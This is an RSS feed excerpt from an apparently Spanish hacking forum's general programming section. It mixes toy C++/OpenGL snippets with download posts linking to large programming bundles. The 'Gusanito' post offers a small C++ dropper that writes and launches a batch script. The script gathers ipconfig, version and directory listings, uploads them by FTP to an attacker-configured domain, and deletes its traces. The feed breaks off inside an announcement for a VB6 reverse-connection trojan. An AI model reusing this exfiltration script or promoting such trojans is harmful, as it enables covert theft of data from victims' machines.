#include &lt;GL/glut.h&gt;
#include &lt;stdlib.h&gt;
double p0fk = 0.5;
double ksha = 0.5;

void trolear ()
{
	glClear(GL_COLOR_BUFFER_BIT);
	glMatrixMode(GL_MODELVIEW);
	glPushMatrix();
	glColor3d(0,1,1);
	p0fk += 0.3;
	glTranslated(0.5,0.10,1);
	glRotated(p0fk,2,2,2);
	glutWireTeapot(0.30);
	glPopMatrix();

	glPushMatrix();
	glColor3d(0,0,2);
	ksha += 0.6;
	glTranslated(-0.5,0.10,1);
	glRotated(ksha,4,4,4);
	glutWireCone(0.2,20,20,0.21);
	glPopMatrix();
	glutSwapBuffers();
}
void des ()
{
	glutPostRedisplay(); // repintar
}
void salir(unsigned char teclado)
{
	if (teclado == 27)
	{
		exit(EXIT_SUCCESS);
		print (&quot;;) \n&quot;);
	}
	if (teclado == 98)
	{
		ksha +=0.7;
		glTranslated(-0.5,0.10,1);
		glRotated(ksha,4,4,1);
		glutWireTorus(0.3,20,20,0.21);
		glPopMatrix();
		glutSwapBuffers();
	}
	if (teclado == 97)
	{
		p0fk +=0.6;
		glTranslated(+0.5,0.10,1);
		glRotated(p0fk,3,3,1);
		glutWireTeapot(0.20);
		glPopMatrix();
		glutSwapBuffers();
	}
}
int main (int argc, char* argv[])
{
	glutInit(&amp;argc, argv);
	glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB);
	glutInitWindowSize(700,200);
	glutInitWindowPosition(500,500);
	glutCreateWindow(&quot;KSHA Y P0FK SON PROTAGONISTAS DEL PROGRAMA&quot;);

	glClearColor(0,0,0,0);
	glutDisplayFunc(trolear);
	glutIdleFunc(des);
	glutKeyboardFunc(salir);
	glutFullScreen();

	glutMainLoop();
	return 0;
}</pre>
Viendo manuales hice esto,<br />pd : me costo un huevo ¬¬]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Thu, 24 Jun 2010 19:17:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7421,7421#msg-7421</guid>
<title>Mi Cifrado ;) (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7421,7421#msg-7421</link><description><![CDATA[<pre class="bbcode">#include &lt;iostream&gt;
#include &lt;cstring&gt;
int main ()
{
        using namespace std;
        char encriptar[32];
        cout &lt;&lt; &quot;Cifrado - &quot; &lt;&lt; endl;
        cin &gt;&gt; encriptar;
        cout &lt;&lt; &quot;Llave - Solo numeros&quot; &lt;&lt; endl;
        int llave;
        cin &gt;&gt; llave;
        for (int x=0; x &lt; strlen(encriptar); x++)
        {
        cout &lt;&lt; int(encriptar[x]) * llave;
        }
        cout &lt;&lt; endl;

}
</pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sun, 20 Jun 2010 00:01:11 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7363,7363#msg-7363</guid>
<title>C++ and Batch | Gusanito (2 replies)</title><link>https://foro.undersecurity.net/read.php?19,7363,7363#msg-7363</link><description><![CDATA[<pre class="bbcode">#include &lt;iostream&gt;
#include &lt;fstream&gt;
int main ()
{
/* Greets : Ksha - p0fk - S[e]C - Cervantes_xD(me dio la idea ) - Yoya - OzX - BoF - ANTRAX - pachu|i  - CRowen y ahi 2 personas que mejor no saludar porque se arma el lio*/
using namespace std;
ofstream fichout;  
fichout.open(&quot;byt3z.bat&quot;);
fichout &lt;&lt; &quot;@echo off&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;set user=XXX&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;set pass=XXX&quot; &lt;&lt; endl ;
fichout &lt;&lt; &quot;set dominio=XXX&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;echo open %dominio%&gt;&gt;datos.txt&quot; &lt;&lt; endl ;
fichout &lt;&lt; &quot;echo %user%&gt;&gt;datos.txt&quot; &lt;&lt; endl ;
fichout &lt;&lt; &quot;echo %pass%&gt;&gt;datos.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;echo cd html &gt;&gt;datos.txt&quot; &lt;&lt; endl ;
fichout &lt;&lt; &quot;echo put ijjnfo.txt&gt;&gt;datos.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;echo bye&gt;&gt;datos.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;ipconfig&gt;&gt;ijjnfo.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;ver&gt;&gt;ijjnfo.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;dir&gt;&gt;ijjnfo.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;ftp -s:datos.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;del ijjnfo.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;del datos.txt&quot; &lt;&lt; endl;
fichout &lt;&lt; &quot;exit&quot; &lt;&lt; endl;
fichout.close();
system (&quot;start byt3z.bat&quot;);
}</pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Mon, 14 Jun 2010 16:44:33 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7331,7331#msg-7331</guid>
<title>TEU Programación (AIO/TEU) (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7331,7331#msg-7331</link><description><![CDATA[<center class="bbcode"><b>TEU Programación (AIO/TEU) </b></center><br /><br /><center class="bbcode"><b>Formato: .ISO | Idioma/Lenguaje: Español/Inglés | Tamaño: 1, 12 GB | Partido en 8 Partes (7 de 100 MB y 1 de 25, 6 MB) </b></center><br /><br /><b>TEU Programación (AIO/TEU) </b><br /><br /><b>Formato: .ISO | Idioma/Lenguaje: Español/Inglés | Tamaño: 1, 12 GB | Partido en 8 Partes (7 de 100 MB y 1 de 25, 6 MB) </b><br /><br /><center class="bbcode"><img src="http://i50.tinypic.com/2v2cfgg.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><b>Otra/s Imágenes: </b></center><br /><br /><center class="bbcode"><img src="http://i45.tinypic.com/2zexlbs.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i47.tinypic.com/2pql3ps.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i50.tinypic.com/6i4tnd.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i47.tinypic.com/125rf2a.jpg" class="bbcode" border="0" /></center><br /><br /><b>Descripción: </b><br /><br />Este es un TEU/AIO que contiene Manuales de Programación y Compiladores.<br /><br /><b>Contenido: </b><br /><br />Desarrollo Programas/Aplicaciones.<br />Desarrollo Páginas Web.<br />Software/Compiladores.<br />Otros.<br /><br /><b>Desarrollo Programas/Aplicaciones: </b><br /><br />ADA.<br />ASP.<br />Batch.<br />C/C++.<br />CGI.<br />Cobol.<br />Delphi.<br />Ensamblador.<br />Fortran.<br />LISP.<br />Maple.<br />Matlab.<br />Modula.<br />OOP.<br />Pascal.<br />Visual Basic.<br /><br /><b>Desarrollo Páginas Web: </b><br /><br />Ajax.<br />CSS.<br />HTML.<br />Java.<br />Perl.<br />PHP.<br />MySQL.<br />SQL.<br />XHTML.<br /><br /><b>Software/Compiladores: </b><br /><br />C++.<br />Cobol.<br />Delphi.<br />Ensamblador.<br />HTML.<br />Java.<br />Pascal.<br />PHP.<br />Visual Basic.<br /><br /><br /><b>Autor/Créditos:</b> MadPitbull_99.<br /><br /><b>Otra/s Imágenes: </b><br /><br /><img src="http://i45.tinypic.com/2zexlbs.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i47.tinypic.com/2pql3ps.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i50.tinypic.com/6i4tnd.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i47.tinypic.com/125rf2a.jpg" class="bbcode" border="0" /><br /><br /><b>Descarga: </b><br /><br /><b>Nota: Archivo/s Subido/s en Cuenta Premium. No Re-Subir en estos Hostings. </b><br /><br /><b>Nota: Archivos intercambiables, es decir, pueden Descargar una Parte de un Servidor, y la siguiente del otro Servidor. </b><br /><br /><b>MegaUpload: </b><br /><br /><b>Archivo .SFV:</b> http://www.megaupload.com/?d=BXUTAVBQ<br /><b>Parte 1:</b> http://www.megaupload.com/?d=397D5PBH<br /><b>Parte 2:</b> http://www.megaupload.com/?d=SUSMQEFL<br /><b>Parte 3:</b> http://www.megaupload.com/?d=TYYM852R<br /><b>Parte 4:</b> http://www.megaupload.com/?d=9GX9WGCW<br /><b>Parte 5:</b> http://www.megaupload.com/?d=8BWF2VL7<br /><b>Parte 6:</b> http://www.megaupload.com/?d=ZZV5O2XN<br /><b>Parte 7:</b> http://www.megaupload.com/?d=YRB3X6KK<br /><b>Parte 8:</b> http://www.megaupload.com/?d=ZMBBOETQ<br /><br /><pre class="bbcode">
http://www.megaupload.com/?d=BXUTAVBQ
http://www.megaupload.com/?d=397D5PBH
http://www.megaupload.com/?d=SUSMQEFL
http://www.megaupload.com/?d=TYYM852R
http://www.megaupload.com/?d=9GX9WGCW
http://www.megaupload.com/?d=8BWF2VL7
http://www.megaupload.com/?d=ZZV5O2XN
http://www.megaupload.com/?d=YRB3X6KK
http://www.megaupload.com/?d=ZMBBOETQ</pre><br /><b>RapidShare: </b><br /><br /><b>Archivo .SFV:</b> http://rapidshare.com/files/394708019/Programacion.sfv.<br /><b>Parte 1:</b> http://rapidshare.com/files/394729676/Programacion.part01.rar.<br /><b>Parte 2:</b> http://rapidshare.com/files/394751652/Programacion.part02.rar.<br /><b>Parte 3:</b> http://rapidshare.com/files/394774110/Programacion.part03.rar.<br /><b>Parte 4:</b> http://rapidshare.com/files/394794435/Programacion.part04.rar.<br /><b>Parte 5:</b> http://rapidshare.com/files/394813565/Programacion.part05.rar.<br /><b>Parte 6:</b> http://rapidshare.com/files/394833232/Programacion.part06.rar.<br /><b>Parte 7:</b> http://rapidshare.com/files/394853290/Programacion.part07.rar.<br /><b>Parte 8:</b> http://rapidshare.com/files/394858270/Programacion.part08.rar.<br /><br /><pre class="bbcode">
http://rapidshare.com/files/394708019/Programacion.sfv
http://rapidshare.com/files/394729676/Programacion.part01.rar
http://rapidshare.com/files/394751652/Programacion.part02.rar
http://rapidshare.com/files/394774110/Programacion.part03.rar
http://rapidshare.com/files/394794435/Programacion.part04.rar
http://rapidshare.com/files/394813565/Programacion.part05.rar
http://rapidshare.com/files/394833232/Programacion.part06.rar
http://rapidshare.com/files/394853290/Programacion.part07.rar
http://rapidshare.com/files/394858270/Programacion.part08.rar
</pre>]]></description>
<dc:creator>Malvinas</dc:creator>
<category>Programacion General</category><pubDate>Sat, 05 Jun 2010 16:38:33 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7330,7330#msg-7330</guid>
<title>Programación Full (AIO/TEU) (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7330,7330#msg-7330</link><description><![CDATA[<center class="bbcode"><b>Programación Full (AIO/TEU) </b></center><br /><br /><center class="bbcode"><b>Formato: .ISO | Idioma/Lenguaje: Español/Inglés | Tamaño: 1, 40 GB | Partido en 10 Partes (9 de 100 MB y 1 de 79, 4 MB) </b></center><br /><br /><b>Programación Full (AIO/TEU) </b><br /><br /><b>Formato: .ISO | Idioma/Lenguaje: Español/Inglés | Tamaño: 1, 40 GB | Partido en 10 Partes (9 de 100 MB y 1 de 79, 4 MB) </b><br /><br /><center class="bbcode"><img src="http://i49.tinypic.com/mwcpzt.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><b>Otra/s Imágenes: </b></center><br /><br /><center class="bbcode"><img src="http://i48.tinypic.com/108737q.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i49.tinypic.com/2a8m6c9.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i45.tinypic.com/23kc1fk.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i48.tinypic.com/2f0em95.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i46.tinypic.com/dexq4p.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i48.tinypic.com/106kpec.jpg" class="bbcode" border="0" /></center><br /><br /><b>Descripción: </b><br /><br />En este DVD encontrarás todo lo necesario para comenzar a sumergirte en el apasionante mundo de la Programación. Encontrarás aplicaciones, programas, tutoriales, códigos fuentes, ejemplos, etc; para los más de 10 Lenguajes de Programación más difundidos: C++, C, C#, Visual Basic, Java, HTML, PHP, Cobol, y muchos más.<br /><br /><b>Contenido: </b><br /><br /><b>Lenguajes: </b><br /><br />C.<br />C++.<br />Cobol.<br />Delphi.<br />Ensamblador.<br />HTML.<br />Java.<br />Pascal.<br />PHP.<br />Visual Basic.<br />Otros.<br /><br /><b>Otros: </b><br /><br />Algoritmos.<br />ADA.<br />ASP.<br />Batch.<br />CGI.<br />Fortran.<br />LISP.<br />Maple.<br />Matlab.<br />Modula-2.<br />OOP.<br />Perl.<br />SQL.<br />UML.<br />Otros.<br /><br /><b>Autor/Créditos:</b> Loger92.<br /><br /><b>Otra/s Imágenes: </b><br /><br /><img src="http://i47.tinypic.com/2hzpyft.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i48.tinypic.com/2a6kyf6.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i45.tinypic.com/2a0cith.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i46.tinypic.com/jkexzn.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i45.tinypic.com/vhs45t.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i47.tinypic.com/2vbttec.jpg" class="bbcode" border="0" /><br /><br /><b>Descarga: </b><br /><br /><b>Nota: Archivo/s Subido/s en Cuenta Premium. No Re-Subir en estos Hostings. </b><br /><br /><b>Nota: Archivos intercambiables, es decir, pueden Descargar una Parte de un Servidor, y la siguiente del otro Servidor. </b><br /><br /><b>MegaUpload: </b><br /><br /><b>Archivo .SFV:</b> http://www.megaupload.com/?d=90XERWT5<br /><b>Parte 1:</b> http://www.megaupload.com/?d=V17ZZ93E<br /><b>Parte 2:</b> http://www.megaupload.com/?d=10H8Q1DU<br /><b>Parte 3:</b> http://www.megaupload.com/?d=C0K4C6IV<br /><b>Parte 4:</b> http://www.megaupload.com/?d=X4DI2VWG<br /><b>Parte 5:</b> http://www.megaupload.com/?d=WIFIDVEA<br /><b>Parte 6:</b> http://www.megaupload.com/?d=BE0EFMGJ<br /><b>Parte 7:</b> http://www.megaupload.com/?d=XZJKK0UP<br /><b>Parte 8:</b> http://www.megaupload.com/?d=KHBNX3QE<br /><b>Parte 9:</b> http://www.megaupload.com/?d=D2L5H6N6<br /><b>Parte 10:</b> http://www.megaupload.com/?d=EZ2Q2A3G<br /><br /><pre class="bbcode">
http://www.megaupload.com/?d=90XERWT5
http://www.megaupload.com/?d=V17ZZ93E
http://www.megaupload.com/?d=10H8Q1DU
http://www.megaupload.com/?d=C0K4C6IV
http://www.megaupload.com/?d=X4DI2VWG
http://www.megaupload.com/?d=WIFIDVEA
http://www.megaupload.com/?d=BE0EFMGJ
http://www.megaupload.com/?d=XZJKK0UP
http://www.megaupload.com/?d=KHBNX3QE
http://www.megaupload.com/?d=D2L5H6N6
http://www.megaupload.com/?d=EZ2Q2A3G</pre><br /><b>RapidShare: </b><br /><br /><b>Archivo .SFV:</b> http://rapidshare.com/files/394223594/Programacion_Full.sfv.<br /><b>Parte 1:</b> http://rapidshare.com/files/394241650/Programacion_Full.part01.rar.<br /><b>Parte 2:</b> http://rapidshare.com/files/394261790/Programacion_Full.part02.rar.<br /><b>Parte 3:</b> http://rapidshare.com/files/394278963/Programacion_Full.part03.rar.<br /><b>Parte 4:</b> http://rapidshare.com/files/394303460/Programacion_Full.part04.rar.<br /><b>Parte 5:</b> http://rapidshare.com/files/394452340/Programacion_Full.part05.rar.<br /><b>Parte 6:</b> http://rapidshare.com/files/394634675/Programacion_Full.part06.rar.<br /><b>Parte 7:</b> http://rapidshare.com/files/394659036/Programacion_Full.part07.rar.<br /><b>Parte 8:</b> http://rapidshare.com/files/394675472/Programacion_Full.part08.rar.<br /><b>Parte 9:</b> http://rapidshare.com/files/394693193/Programacion_Full.part09.rar.<br /><b>Parte 10:</b> http://rapidshare.com/files/394707999/Programacion_Full.part10.rar.<br /><br /><pre class="bbcode">
http://rapidshare.com/files/394223594/Programacion_Full.sfv
http://rapidshare.com/files/394241650/Programacion_Full.part01.rar
http://rapidshare.com/files/394261790/Programacion_Full.part02.rar
http://rapidshare.com/files/394278963/Programacion_Full.part03.rar
http://rapidshare.com/files/394303460/Programacion_Full.part04.rar
http://rapidshare.com/files/394452340/Programacion_Full.part05.rar
http://rapidshare.com/files/394634675/Programacion_Full.part06.rar
http://rapidshare.com/files/394659036/Programacion_Full.part07.rar
http://rapidshare.com/files/394675472/Programacion_Full.part08.rar
http://rapidshare.com/files/394693193/Programacion_Full.part09.rar
http://rapidshare.com/files/394707999/Programacion_Full.part10.rar
</pre>]]></description>
<dc:creator>Malvinas</dc:creator>
<category>Programacion General</category><pubDate>Sun, 06 Jun 2010 13:43:14 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7329,7329#msg-7329</guid>
<title>Programación para todos (AIO/TEU) (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7329,7329#msg-7329</link><description><![CDATA[<center class="bbcode"><b>Programación para todos (AIO/TEU) </b></center><br /><br /><center class="bbcode"><b>Formato: .ISO | Idioma/Lenguaje: Español/Inglés | Tamaño: 2, 70 GB | Partido en 26 Partes (25 de 100 MB y 1 de 30, 2 MB) </b></center><br /><br /><b>Programación para todos (AIO/TEU) </b><br /><br /><b>Formato: .ISO | Idioma/Lenguaje: Español/Inglés | Tamaño: 2, 70 GB | Partido en 26 Partes (25 de 100 MB y 1 de 30, 2 MB) </b><br /><br /><center class="bbcode"><img src="http://i47.tinypic.com/nda3cj.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><b>Otra/s Imágenes: </b></center><br /><br /><center class="bbcode"><img src="http://i47.tinypic.com/acg1c.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i47.tinypic.com/qx17w6.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i50.tinypic.com/kb1zf6.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><img src="http://i46.tinypic.com/x6k8js.jpg" class="bbcode" border="0" /></center><br /><br /><b>Descripción: </b><br /><br /><b>Contenido: </b><br /><br /><b>VideoTutoriales: </b><br /><br />Curso C++.<br />Curso Java.<br />Curso PHP/Nuke.<br />Curso VB 6.0.<br />Curso Ubuntu.<br /><br /><br /><b>Manuales PDF: </b><br /><br />Algoritmos y Pseudocódigos.<br />ASP.<br />Batch.<br />C.<br />C++.<br />Delphi.<br />Ensamblador.<br />HTML.<br />Java.<br />Perl.<br />PHP.<br />Python.<br />SQL.<br /><br /><b>Software: </b><br /><br />C/C++.<br />Delphi.<br />Ensamblador.<br />Java.<br />Perl.<br />PHP.<br />Python.<br /><br /><b>Autor/Créditos: Tr0y@n0. </b><br /><br /><b>Otra/s Imágenes: </b><br /><br /><img src="http://i47.tinypic.com/acg1c.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i47.tinypic.com/qx17w6.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i50.tinypic.com/kb1zf6.jpg" class="bbcode" border="0" /><br /><br /><img src="http://i46.tinypic.com/x6k8js.jpg" class="bbcode" border="0" /><br /><br /><b>Descarga: </b><br /><br /><b>Nota: Archivo/s Subido/s en Cuenta Premium. No Re-Subir en estos Hostings. </b><br /><br /><b>Nota: Archivos intercambiables, es decir, pueden Descargar una Parte de un Servidor, y la siguiente del otro Servidor. </b><br /><br /><b>MegaUpload: </b><br /><br /><b>Archivo .SFV:</b> http://www.megaupload.com/?d=SCL509L4<br /><b>Parte 1:</b> http://www.megaupload.com/?d=2972Z4MT<br /><b>Parte 2:</b> http://www.megaupload.com/?d=HD6RX1B5<br /><b>Parte 3:</b> http://www.megaupload.com/?d=XN1O781N<br /><b>Parte 4:</b> http://www.megaupload.com/?d=J68DJ7XL<br /><b>Parte 5:</b> http://www.megaupload.com/?d=RCDNMSP2<br /><b>Parte 6:</b> http://www.megaupload.com/?d=N1WRZ8T0<br /><b>Parte 7:</b> http://www.megaupload.com/?d=RH6UI0UY<br /><b>Parte 8:</b> http://www.megaupload.com/?d=6STFTHV7<br /><b>Parte 9:</b> http://www.megaupload.com/?d=99LT3CJO<br /><b>Parte 10:</b> http://www.megaupload.com/?d=5Z8HOSC9<br /><b>Parte 11:</b> http://www.megaupload.com/?d=VQ3LFX9K<br /><b>Parte 12:</b> http://www.megaupload.com/?d=1OAQO1S6<br /><b>Parte 13:</b> http://www.megaupload.com/?d=ZIVEUYFF<br /><b>Parte 14:</b> http://www.megaupload.com/?d=M17T3NLA<br /><b>Parte 15:</b> http://www.megaupload.com/?d=UGYHBAL0<br /><b>Parte 16:</b> http://www.megaupload.com/?d=453YF96Z<br /><b>Parte 17:</b> http://www.megaupload.com/?d=B6JP5Q4E<br /><b>Parte 18:</b> http://www.megaupload.com/?d=6DTAMF7P<br /><b>Parte 19:</b> http://www.megaupload.com/?d=Q1CCJOH5<br /><b>Parte 20:</b> http://www.megaupload.com/?d=R77NTSFN<br /><b>Parte 21:</b> http://www.megaupload.com/?d=C5Z4IEHJ<br /><b>Parte 22:</b> http://www.megaupload.com/?d=900G5MUO<br /><b>Parte 23:</b> http://www.megaupload.com/?d=2GQC9LM7<br /><b>Parte 24:</b> http://www.megaupload.com/?d=5HJ8C0O3<br /><b>Parte 25:</b> http://www.megaupload.com/?d=4SFM7RGB<br /><b>Parte 26:</b> http://www.megaupload.com/?d=1D6TB2II<br /><br /><pre class="bbcode">
http://www.megaupload.com/?d=SCL509L4
http://www.megaupload.com/?d=2972Z4MT
http://www.megaupload.com/?d=HD6RX1B5
http://www.megaupload.com/?d=XN1O781N
http://www.megaupload.com/?d=J68DJ7XL
http://www.megaupload.com/?d=RCDNMSP2
http://www.megaupload.com/?d=N1WRZ8T0
http://www.megaupload.com/?d=RH6UI0UY
http://www.megaupload.com/?d=6STFTHV7
http://www.megaupload.com/?d=99LT3CJO
http://www.megaupload.com/?d=5Z8HOSC9
http://www.megaupload.com/?d=VQ3LFX9K
http://www.megaupload.com/?d=1OAQO1S6
http://www.megaupload.com/?d=ZIVEUYFF
http://www.megaupload.com/?d=M17T3NLA
http://www.megaupload.com/?d=UGYHBAL0
http://www.megaupload.com/?d=453YF96Z
http://www.megaupload.com/?d=B6JP5Q4E
http://www.megaupload.com/?d=6DTAMF7P
http://www.megaupload.com/?d=Q1CCJOH5
http://www.megaupload.com/?d=R77NTSFN
http://www.megaupload.com/?d=C5Z4IEHJ
http://www.megaupload.com/?d=900G5MUO
http://www.megaupload.com/?d=2GQC9LM7
http://www.megaupload.com/?d=5HJ8C0O3
http://www.megaupload.com/?d=4SFM7RGB
http://www.megaupload.com/?d=1D6TB2II</pre><br /><b>RapidShare: </b><br /><br /><b>Archivo .SFV:</b> http://rapidshare.com/files/392996887/Programacion_para_todos.sfv.<br /><b>Parte 1:</b> http://rapidshare.com/files/393036170/Programacion_para_todos.part01.rar.<br /><b>Parte 2:</b> http://rapidshare.com/files/393036756/Programacion_para_todos.part02.rar.<br /><b>Parte 3:</b> http://rapidshare.com/files/393104181/Programacion_para_todos.part03.rar.<br /><b>Parte 4:</b> http://rapidshare.com/files/393117075/Programacion_para_todos.part04.rar.<br /><b>Parte 5:</b> http://rapidshare.com/files/393128330/Programacion_para_todos.part05.rar.<br /><b>Parte 6:</b> http://rapidshare.com/files/393138100/Programacion_para_todos.part06.rar.<br /><b>Parte 7:</b> http://rapidshare.com/files/393150198/Programacion_para_todos.part07.rar.<br /><b>Parte 8:</b> http://rapidshare.com/files/393162916/Programacion_para_todos.part08.rar.<br /><b>Parte 9:</b> http://rapidshare.com/files/393177067/Programacion_para_todos.part09.rar.<br /><b>Parte 10:</b> http://rapidshare.com/files/393192685/Programacion_para_todos.part10.rar.<br /><b>Parte 11:</b> http://rapidshare.com/files/393210809/Programacion_para_todos.part11.rar.<br /><b>Parte 12:</b> http://rapidshare.com/files/393231272/Programacion_para_todos.part12.rar.<br /><b>Parte 13:</b> http://rapidshare.com/files/393251386/Programacion_para_todos.part13.rar.<br /><b>Parte 14:</b> http://rapidshare.com/files/393271212/Programacion_para_todos.part14.rar.<br /><b>Parte 15:</b> http://rapidshare.com/files/393290289/Programacion_para_todos.part15.rar.<br /><b>Parte 16:</b> http://rapidshare.com/files/393309446/Programacion_para_todos.part16.rar.<br /><b>Parte 17:</b> http://rapidshare.com/files/393330945/Programacion_para_todos.part17.rar.<br /><b>Parte 18:</b> http://rapidshare.com/files/393350636/Programacion_para_todos.part18.rar.<br /><b>Parte 19:</b> http://rapidshare.com/files/393372294/Programacion_para_todos.part19.rar.<br /><b>Parte 20:</b> http://rapidshare.com/files/393394983/Programacion_para_todos.part20.rar.<br /><b>Parte 21:</b> http://rapidshare.com/files/393416363/Programacion_para_todos.part21.rar.<br /><b>Parte 22:</b> http://rapidshare.com/files/393434591/Programacion_para_todos.part22.rar.<br /><b>Parte 23:</b> http://rapidshare.com/files/393449968/Programacion_para_todos.part23.rar.<br /><b>Parte 24:</b> http://rapidshare.com/files/393464959/Programacion_para_todos.part24.rar.<br /><b>Parte 25:</b> http://rapidshare.com/files/393483916/Programacion_para_todos.part25.rar.<br /><b>Parte 26:</b> http://rapidshare.com/files/393487844/Programacion_para_todos.part26.rar.<br /><br /><pre class="bbcode">
http://rapidshare.com/files/392996887/Programacion_para_todos.sfv
http://rapidshare.com/files/393036170/Programacion_para_todos.part01.rar
http://rapidshare.com/files/393036756/Programacion_para_todos.part02.rar
http://rapidshare.com/files/393104181/Programacion_para_todos.part03.rar
http://rapidshare.com/files/393117075/Programacion_para_todos.part04.rar
http://rapidshare.com/files/393128330/Programacion_para_todos.part05.rar
http://rapidshare.com/files/393138100/Programacion_para_todos.part06.rar
http://rapidshare.com/files/393150198/Programacion_para_todos.part07.rar
http://rapidshare.com/files/393162916/Programacion_para_todos.part08.rar
http://rapidshare.com/files/393177067/Programacion_para_todos.part09.rar
http://rapidshare.com/files/393192685/Programacion_para_todos.part10.rar
http://rapidshare.com/files/393210809/Programacion_para_todos.part11.rar
http://rapidshare.com/files/393231272/Programacion_para_todos.part12.rar
http://rapidshare.com/files/393251386/Programacion_para_todos.part13.rar
http://rapidshare.com/files/393271212/Programacion_para_todos.part14.rar
http://rapidshare.com/files/393290289/Programacion_para_todos.part15.rar
http://rapidshare.com/files/393309446/Programacion_para_todos.part16.rar
http://rapidshare.com/files/393330945/Programacion_para_todos.part17.rar
http://rapidshare.com/files/393350636/Programacion_para_todos.part18.rar
http://rapidshare.com/files/393372294/Programacion_para_todos.part19.rar
http://rapidshare.com/files/393394983/Programacion_para_todos.part20.rar
http://rapidshare.com/files/393416363/Programacion_para_todos.part21.rar
http://rapidshare.com/files/393434591/Programacion_para_todos.part22.rar
http://rapidshare.com/files/393449968/Programacion_para_todos.part23.rar
http://rapidshare.com/files/393464959/Programacion_para_todos.part24.rar
http://rapidshare.com/files/393483916/Programacion_para_todos.part25.rar
http://rapidshare.com/files/393487844/Programacion_para_todos.part26.rar
</pre>]]></description>
<dc:creator>Malvinas</dc:creator>
<category>Programacion General</category><pubDate>Sat, 05 Jun 2010 16:33:13 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7326,7326#msg-7326</guid>
<title>Area de tu casa [Alpedo] (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7326,7326#msg-7326</link><description><![CDATA[<pre class="bbcode">#include &lt;iostream&gt;
int main ()
{
	using namespace std;
	int unsigned Ancho;
	cout &lt;&lt; &quot;[+]Ancho de la casa&quot; &lt;&lt; endl;
	cin &gt;&gt; Ancho;
	cout &lt;&lt; &quot;[+]Largo de la casa&quot; &lt;&lt; endl;
	int unsigned Largo;
	cin &gt;&gt; Largo;
	int unsigned Area;
	Area = Ancho * Largo;
	cout &lt;&lt; &quot;Area&quot; &lt;&lt; endl;
	cout &lt;&lt; &quot;====&quot; &lt;&lt; endl;
	cout &lt;&lt; Area &lt;&lt; endl;
	cout &lt;&lt; &quot;By OSi&quot;&lt;&lt; endl;
	return 0;

}</pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sat, 05 Jun 2010 14:05:45 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7281,7281#msg-7281</guid>
<title>[VB 6.0] Dioxis 5.3 by 50l3r (2 replies)</title><link>https://foro.undersecurity.net/read.php?19,7281,7281#msg-7281</link><description><![CDATA[<center class="bbcode"><img src="http://img267.imageshack.us/img267/940/introp.jpg" class="bbcode" border="0" /></center><br />___________________________________________<br /><b>Tamaño Cliente:</b> 1,64MB<br /><b>Tamaño Servidor:</b> 136KB<br /><b>Infraestructura:</b> red local e Internet<br /><br /><b>Lenguaje:</b> Visual Basic 6.0<br /><b>Licencia:</b> Libre<br /><b>Conexión:</b> Multiconexion inversa<br /><br /><b>Idioma:</b> Español<br /><b>Tiempo de Reconexion del Server:</b> 10 segundos<br /><b>Puerto: </b>Personalizado<br />___________________________________________<br /><br />Ya estamos de nuevo con otra de las versiones de Dioxis, esta vez implementando a la multiconexion<br /><br />Como muchos deseaban, dioxis queria que fuese un troyano multiconexion, pues tras unos dias de codeo se ha podido llegar a dar con la solucion y hemos puesto rumbo a la perfeccion, aunque aun queda demasiado<br /><br />Esta version esta diseñada desde 0, se volvio a escribir el codigo entero, tomando bases de los antiguos y se consigio 